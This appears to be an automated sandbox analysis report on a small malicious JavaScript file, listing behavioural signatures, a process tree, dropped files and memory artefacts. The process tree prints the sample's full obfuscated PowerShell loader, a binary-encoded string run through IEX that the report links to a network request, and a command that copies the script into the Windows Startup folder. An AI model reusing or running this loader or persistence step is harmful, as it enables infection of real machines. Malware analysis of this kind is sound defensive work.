Analysis

  • max time kernel
    67s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/01/2023, 12:20

General

  • Target
    eclattttt.js
  • Size 1KB
  • Sample230104-phra4aaf9t
  • SHA256 f4e154d49759c288c006786c167eb62243f284d2d99a85316aec564fc67f9fbb
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\eclattttt.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=@('I','E','X');sal P ($GFGG=$o00 -join '') $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,51115511,55111515,55151111,55151111,51151111,51151115,51115511,51151555,51151111,51115555,51155115,51155551,51115511,51151555,51151551,51151111,51151115,51155151,51115515,55151115,51155511,51151111,51151151,55151111,51155151,51155511,51151155,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } $ttog='[syst' + 'em.Str' (($ttog + 'ing]::Join('''', $gf)')|P)|P } ermkflll
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\eclattttt.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      PID:3956
  • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
    "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
    1⤵
      PID:3440
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4880 CREDAT:17410 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:4904

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
          • Size 471B
          • SHA256 37f9bfa1c3e5af64ecd96ec2b31665edd3d62211123153fbe4d3339ff0556f8a
          • MD5 SHA1 SHA512

          7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
          • Size 434B
          • SHA256 19c4510e5075d69a293e8b8f81421746eba6433159cc230b7249ed3e9742575b
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cce0885689b50163edce160f68ab56c7c9d339fdf42d0cfd63c75b296cf9ce76
          • MD5 SHA1 SHA512

          AgileDotNetRT64.dll

          • Path C:\Users\Admin\AppData\Local\Temp\0ef3c6ce-1241-48fd-af46-bc53bef5dd0a\AgileDotNetRT64.dll
          • Size 75KB
          • SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
          • MD5 SHA1 SHA512 SSDEEP

          memory/2144-137-0x00007FFA05C20000-0x00007FFA066E1000-memory.dmp

          memory/2144-139-0x00007FFA01AB0000-0x00007FFA01BFE000-memory.dmp

          memory/2144-136-0x00007FFA05C20000-0x00007FFA066E1000-memory.dmp

          memory/2144-142-0x00007FFA05C20000-0x00007FFA066E1000-memory.dmp

          memory/2144-134-0x000002B23F5B0000-0x000002B23F5D2000-memory.dmp

          memory/3956-135-0x00007FFA05C20000-0x00007FFA066E1000-memory.dmp